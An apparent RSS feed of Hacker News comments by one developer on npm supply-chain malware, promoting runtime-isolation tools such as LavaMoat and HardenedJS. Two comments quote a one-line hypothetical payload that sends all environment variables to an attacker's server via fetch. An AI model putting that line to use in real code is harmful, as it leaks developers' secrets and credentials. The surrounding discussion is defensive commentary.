<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Hacker News: naugtur</title><link>https://news.ycombinator.com/user?id=naugtur</link><description>Hacker News RSS</description><docs>https://hnrss.org/</docs><generator>hnrss v2.1.1</generator><lastBuildDate>Fri, 01 May 2026 08:38:07 +0000</lastBuildDate><atom:link href="https://hnrss.org/user?id=naugtur" rel="self" type="application/rss+xml"></atom:link><item><title><![CDATA[New comment by naugtur in "I almost got hacked by a 'job interview'"]]></title><description><![CDATA[
<p>We're making software that doesn't rely on filtering, but Principle Of Least Authority at runtime.<p><a href="https://lavamoat.github.io" rel="nofollow">https://lavamoat.github.io</a><p><a href="https://hardenedjs.org" rel="nofollow">https://hardenedjs.org</a></p>
]]></description><pubDate>Wed, 15 Oct 2025 18:54:39 +0000</pubDate><link>https://news.ycombinator.com/item?id=45596906</link><dc:creator>naugtur</dc:creator><comments>https://news.ycombinator.com/item?id=45596906</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=45596906</guid></item><item><title><![CDATA[New comment by naugtur in "I almost got hacked by a 'job interview'"]]></title><description><![CDATA[
<p>Here's a tool that protects you from these kind of things without the necessity to set up an environment per project, just simple one-time install.<p><a href="https://github.com/lavamoat/kipuka" rel="nofollow">https://github.com/lavamoat/kipuka</a><p>It's an upcoming part of the LavaMoat toolkit (that got on main page here recently for blocking the qix malware)</p>
]]></description><pubDate>Wed, 15 Oct 2025 18:42:46 +0000</pubDate><link>https://news.ycombinator.com/item?id=45596771</link><dc:creator>naugtur</dc:creator><comments>https://news.ycombinator.com/item?id=45596771</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=45596771</guid></item><item><title><![CDATA[New comment by naugtur in "You too can run malware from NPM (I mean without consequences)"]]></title><description><![CDATA[
<p>Again, that's why LavaMoat exists. Set it up once and it will block many classes of attacks regardless of where they come from.</p>
]]></description><pubDate>Mon, 15 Sep 2025 18:05:03 +0000</pubDate><link>https://news.ycombinator.com/item?id=45252966</link><dc:creator>naugtur</dc:creator><comments>https://news.ycombinator.com/item?id=45252966</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=45252966</guid></item><item><title><![CDATA[New comment by naugtur in "You too can run malware from NPM (I mean without consequences)"]]></title><description><![CDATA[
<p>1. Control lifecycle scripts with @lavamoat/allow-scripts<p>2. Do local dev with <a href="https://github.com/lavamoat/kipuka" rel="nofollow">https://github.com/lavamoat/kipuka</a> installed (I'm working on it)<p>3. If you don't permit the APIs used for loading DLLs they won't load themselves, so runtime protections are valid too. But I recall the DLLs were loaded in lifecycle script.</p>
]]></description><pubDate>Tue, 09 Sep 2025 19:08:14 +0000</pubDate><link>https://news.ycombinator.com/item?id=45187129</link><dc:creator>naugtur</dc:creator><comments>https://news.ycombinator.com/item?id=45187129</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=45187129</guid></item><item><title><![CDATA[New comment by naugtur in "You too can run malware from NPM (I mean without consequences)"]]></title><description><![CDATA[
<p>You need to juggle two builds  - one while you're iterating rapidly and another when you're near start and finish of the increment.
Not a lot of work compared to auditing a thousand packages.<p>Try it and see. There's tradeoffs but if you roll it out, it is very powerful.</p>
]]></description><pubDate>Tue, 09 Sep 2025 15:49:31 +0000</pubDate><link>https://news.ycombinator.com/item?id=45183710</link><dc:creator>naugtur</dc:creator><comments>https://news.ycombinator.com/item?id=45183710</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=45183710</guid></item><item><title><![CDATA[New comment by naugtur in "You too can run malware from NPM (I mean without consequences)"]]></title><description><![CDATA[
<p>It's based on HardenedJS.org<p>The sandbox itself is tight, there's a bug bounty even.<p>The same technology is behind metamask snaps - plugins in a browser extension.<p>And Moddable has their own implementation<p>The biggest problem is endowing too powerful capabilities.<p>We've got ambitious plans for isolating DOM, but that already failed once before.</p>
]]></description><pubDate>Tue, 09 Sep 2025 15:43:07 +0000</pubDate><link>https://news.ycombinator.com/item?id=45183605</link><dc:creator>naugtur</dc:creator><comments>https://news.ycombinator.com/item?id=45183605</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=45183605</guid></item><item><title><![CDATA[New comment by naugtur in "You too can run malware from NPM (I mean without consequences)"]]></title><description><![CDATA[
<p>Yup, and thanks - I should have made the comment myself but got distracted.</p>
]]></description><pubDate>Tue, 09 Sep 2025 14:17:34 +0000</pubDate><link>https://news.ycombinator.com/item?id=45182274</link><dc:creator>naugtur</dc:creator><comments>https://news.ycombinator.com/item?id=45182274</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=45182274</guid></item><item><title><![CDATA[New comment by naugtur in "You too can run malware from NPM (I mean without consequences)"]]></title><description><![CDATA[
<p>Very good summary.<p>Most other ecosystems are as vulnerable if not more, they just lack the scale.<p>OP, The malware is coming to the ecosystem you prefer. Give it time.</p>
]]></description><pubDate>Tue, 09 Sep 2025 14:04:08 +0000</pubDate><link>https://news.ycombinator.com/item?id=45182094</link><dc:creator>naugtur</dc:creator><comments>https://news.ycombinator.com/item?id=45182094</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=45182094</guid></item><item><title><![CDATA[New comment by naugtur in "You too can run malware from NPM (I mean without consequences)"]]></title><description><![CDATA[
<p>- the attack it shipped was not a great fit for the packages compromised. `fetch(myserverurl+JSON.stringify(process.env))` would be a much more profitable payload
- naive obfuscation makes lights go red in so many places it'd be better to not obfuscate at all.
- the addresses were marked as malicious by Blockaid sooner than the package could reach production in most apps. Most wallets were ready to warn users early enough.</p>
]]></description><pubDate>Tue, 09 Sep 2025 14:02:17 +0000</pubDate><link>https://news.ycombinator.com/item?id=45182065</link><dc:creator>naugtur</dc:creator><comments>https://news.ycombinator.com/item?id=45182065</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=45182065</guid></item><item><title><![CDATA[New comment by naugtur in "You too can run malware from NPM (I mean without consequences)"]]></title><description><![CDATA[
<p>Vibe coding brings up the need for even more granular isolation. I'm on it ;)<p>LavaMoat Webpack Plugin will soom have the ability to treat parts of your app same as it currently treats packages - with isolation and policy limiting what they can do.</p>
]]></description><pubDate>Tue, 09 Sep 2025 13:58:03 +0000</pubDate><link>https://news.ycombinator.com/item?id=45182000</link><dc:creator>naugtur</dc:creator><comments>https://news.ycombinator.com/item?id=45182000</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=45182000</guid></item><item><title><![CDATA[New comment by naugtur in "You too can run malware from NPM (I mean without consequences)"]]></title><description><![CDATA[
<p>Yes, I am. I came up with the first successful attempt at integrating the Principle of Least Authority software in LavaMoat with Webpack and wrote the LavaMoat Webpack Plugin.<p>Also, together with a bunch of great folks at TC39 we're trying to get enough building blocks for the same-realm isolation primitives into the language.<p>see hardenedjs.org too<p>I'm doing the rounds promoting the project today because at this point all we need to eliminate certain types of malware is get LavaMoat a lot more adoption in the ecosystem.<p>( and that'll give me bug reports and maybe even contributions? :) )</p>
]]></description><pubDate>Tue, 09 Sep 2025 13:07:58 +0000</pubDate><link>https://news.ycombinator.com/item?id=45181437</link><dc:creator>naugtur</dc:creator><comments>https://news.ycombinator.com/item?id=45181437</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=45181437</guid></item><item><title><![CDATA[New comment by naugtur in "You too can run malware from NPM (I mean without consequences)"]]></title><description><![CDATA[
<p>That's why we never went with using keys in CI for publishing. Local machine publishing requires a 2fa.<p>automated publishing should use something like Pagerduty to signal that a version is being published to a group of maintainers and it requires an approval to go through. And any one of them can veto within 5 minutes.<p>But we don't have that, so gotta be careful and prepare for the worst (use LavaMoat for that)</p>
]]></description><pubDate>Tue, 09 Sep 2025 13:04:49 +0000</pubDate><link>https://news.ycombinator.com/item?id=45181406</link><dc:creator>naugtur</dc:creator><comments>https://news.ycombinator.com/item?id=45181406</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=45181406</guid></item><item><title><![CDATA[New comment by naugtur in "You too can run malware from NPM (I mean without consequences)"]]></title><description><![CDATA[
<p>socket.dev will find most malware within hours of it being published.<p>with LavaMoat most malware won't work even if you don't detect it.</p>
]]></description><pubDate>Tue, 09 Sep 2025 12:41:43 +0000</pubDate><link>https://news.ycombinator.com/item?id=45181164</link><dc:creator>naugtur</dc:creator><comments>https://news.ycombinator.com/item?id=45181164</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=45181164</guid></item><item><title><![CDATA[New comment by naugtur in "You too can run malware from NPM (I mean without consequences)"]]></title><description><![CDATA[
<p>It's within the same process and realm (window) 
It has a cost, but it's nothing compared to putting every dependency of a large app in a separate iframe/process and figure out a way for them to communicate.</p>
]]></description><pubDate>Tue, 09 Sep 2025 12:40:06 +0000</pubDate><link>https://news.ycombinator.com/item?id=45181149</link><dc:creator>naugtur</dc:creator><comments>https://news.ycombinator.com/item?id=45181149</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=45181149</guid></item><item><title><![CDATA[New comment by naugtur in "You too can run malware from NPM (I mean without consequences)"]]></title><description><![CDATA[
<p>there's only one transaction that's making up most of it. Someone lost some serious 0.1 ETH or so.<p>500$ is nothing. it's what unsophisticated phishing makes in a day. It's what a support call scammer makes their owner in a day.<p>This was an attack on legitimate npm packages that end up in maybe hundreds of thousands of developer machines building tens of thousands applications.<p>`fetch(myserverurl+JSON.stringify(process.env)` would be orders of magnitude more profitable as payload.</p>
]]></description><pubDate>Tue, 09 Sep 2025 12:38:01 +0000</pubDate><link>https://news.ycombinator.com/item?id=45181123</link><dc:creator>naugtur</dc:creator><comments>https://news.ycombinator.com/item?id=45181123</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=45181123</guid></item><item><title><![CDATA[New comment by naugtur in "You too can run malware from NPM (I mean without consequences)"]]></title><description><![CDATA[
<p>I work with people who understand this stuff :D 
But if I see a transaction for thousands or millions of a coin I've never heard of with $ value of about 1 it's likely a shitcoin and I am guessing - mockery.</p>
]]></description><pubDate>Tue, 09 Sep 2025 12:33:41 +0000</pubDate><link>https://news.ycombinator.com/item?id=45181084</link><dc:creator>naugtur</dc:creator><comments>https://news.ycombinator.com/item?id=45181084</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=45181084</guid></item><item><title><![CDATA[New comment by naugtur in "You too can run malware from NPM (I mean without consequences)"]]></title><description><![CDATA[
<p>Absolutely not. you get npm packages by pulling not them pushing them to you as soon as a new version exist. The likelyhood of you updating instantly is close to zero and if not, you should set your stuff up so that it is. Many ways to do that.
Even better if compared to a month or two - which is how long it often takes for a researcher to find a carefully planted malware.<p>Anyway, the case where reactive tools (detections, warnings) don't catch it is why LavaMoat exists. It prevents whole classes of malware from working at runtime.
The article (and repo) demonstrates that.</p>
]]></description><pubDate>Tue, 09 Sep 2025 12:31:37 +0000</pubDate><link>https://news.ycombinator.com/item?id=45181058</link><dc:creator>naugtur</dc:creator><comments>https://news.ycombinator.com/item?id=45181058</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=45181058</guid></item><item><title><![CDATA[New comment by naugtur in "You too can run malware from NPM (I mean without consequences)"]]></title><description><![CDATA[
<p>If you mean during development - you can opt out of using lavamoat in development for your webpack bundle (I'm assuming you're not running your untested code on valuable data)</p>
]]></description><pubDate>Tue, 09 Sep 2025 12:04:29 +0000</pubDate><link>https://news.ycombinator.com/item?id=45180775</link><dc:creator>naugtur</dc:creator><comments>https://news.ycombinator.com/item?id=45180775</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=45180775</guid></item><item><title><![CDATA[New comment by naugtur in "You too can run malware from NPM (I mean without consequences)"]]></title><description><![CDATA[
<p>packages published to npm are immutable. if you pin a version, you get the same exact version as long as MSFT servers are not compromised.<p>Installing from git is not recommended and has more issues than you might think <a href="https://dev.to/naugtur/a-phish-on-a-fork-no-chips-52cc" rel="nofollow">https://dev.to/naugtur/a-phish-on-a-fork-no-chips-52cc</a><p>You are supposed to update packages, even if you use lockfiles (very common) or tools that pin your direct dependencies (renovate etc. not so common) 
And when you do update, will you read the package and all of its updated dependencies?<p>It's a hard problem with a bunch of tradeoffs.<p>Can be done, with enough attention and tools. Tools include LavaMoat :)</p>
]]></description><pubDate>Tue, 09 Sep 2025 12:02:40 +0000</pubDate><link>https://news.ycombinator.com/item?id=45180761</link><dc:creator>naugtur</dc:creator><comments>https://news.ycombinator.com/item?id=45180761</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=45180761</guid></item><item><title><![CDATA[New comment by naugtur in "You too can run malware from NPM (I mean without consequences)"]]></title><description><![CDATA[
<p>npm is on life support by msft. But there's socket.dev that can tell you if a package is malicious within hours of it being published.</p>
]]></description><pubDate>Tue, 09 Sep 2025 11:58:40 +0000</pubDate><link>https://news.ycombinator.com/item?id=45180729</link><dc:creator>naugtur</dc:creator><comments>https://news.ycombinator.com/item?id=45180729</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=45180729</guid></item></channel></rss>